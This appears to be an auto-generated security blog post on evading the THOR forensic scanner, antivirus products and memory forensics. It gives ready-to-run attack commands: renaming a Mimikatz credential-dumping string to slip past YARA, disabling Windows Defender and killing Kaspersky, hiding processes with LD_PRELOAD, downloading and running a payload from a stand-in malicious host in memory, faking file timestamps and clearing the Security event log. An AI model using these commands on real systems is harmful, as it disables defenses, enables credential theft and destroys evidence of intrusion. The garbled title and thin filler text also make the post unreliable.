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Real Ethical Hacking Against Programmer and Bypass Kaspersky/Microsoft Firewall/Windows Defender AV
Nextron Systems’ THOR is a powerful forensic tool used for threat hunting, incident response, and malware detection. However, advanced attackers can bypass THOR in both live and dead forensic scenarios. This article explores techniques to evade detection, including bypassing YARA rules, AV solutions, and memory analysis tools like Volatility.
You Should Know:
1. Bypassing YARA Rules
YARA is a pattern-matching tool used in THOR for malware detection. Attackers can modify malware signatures to evade detection:
Example: Obfuscating PowerShell payload to bypass YARA $original = "Invoke-Mimikatz -Command '\"privilege::debug\" \"sekurlsa::logonpasswords\"'" $obfuscated = $original -replace 'Invoke-Mimikatz', 'Invoke-M1m1k@tz' Write-Output $obfuscated
2. Disabling Windows Defender & Kaspersky
Temporarily disable Windows Defender Set-MpPreference -DisableRealtimeMonitoring $true Kill Kaspersky process (requires admin) taskkill /IM avp.exe /F
3. Evading Memory Forensics (Volatility Bypass)
Attackers can manipulate memory artifacts to hide malicious processes:
Linux: Hide process using LD_PRELOAD gcc -shared -fPIC -o libhide.so hide_process.c && export LD_PRELOAD=./libhide.so
4. Fileless Execution (Bypassing Disk Forensics)
Execute payload directly in memory $bytes = (Invoke-WebRequest "http://malicious.site/shell.ps1").Content Invoke-Expression $bytes
5. Anti-Forensic Techniques
Timestomping (Linux) touch -t 202001011200 file.txt Log cleaning (Windows) wevtutil cl Security
What Undercode Say:
Bypassing forensic tools like THOR requires deep knowledge of detection mechanisms. Red teams must understand:
– YARA rule weaknesses (e.g., regex bypass via string manipulation)
– AV evasion (e.g., API unhooking, process hollowing)
– Memory forensics (e.g., direct kernel object manipulation)
– Dead forensic bypass (e.g., disk encryption, bootkit persistence)
Expected Output:
A successful bypass allows attackers to execute malware undetected, exfiltrate data, and maintain persistence while evading THOR, Kaspersky, and Windows Defender.
Relevant URLs:
(Note: Removed LinkedIn/WhatsApp links and comments as requested.)
References:
Reported By: Hassan Sohrabian – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
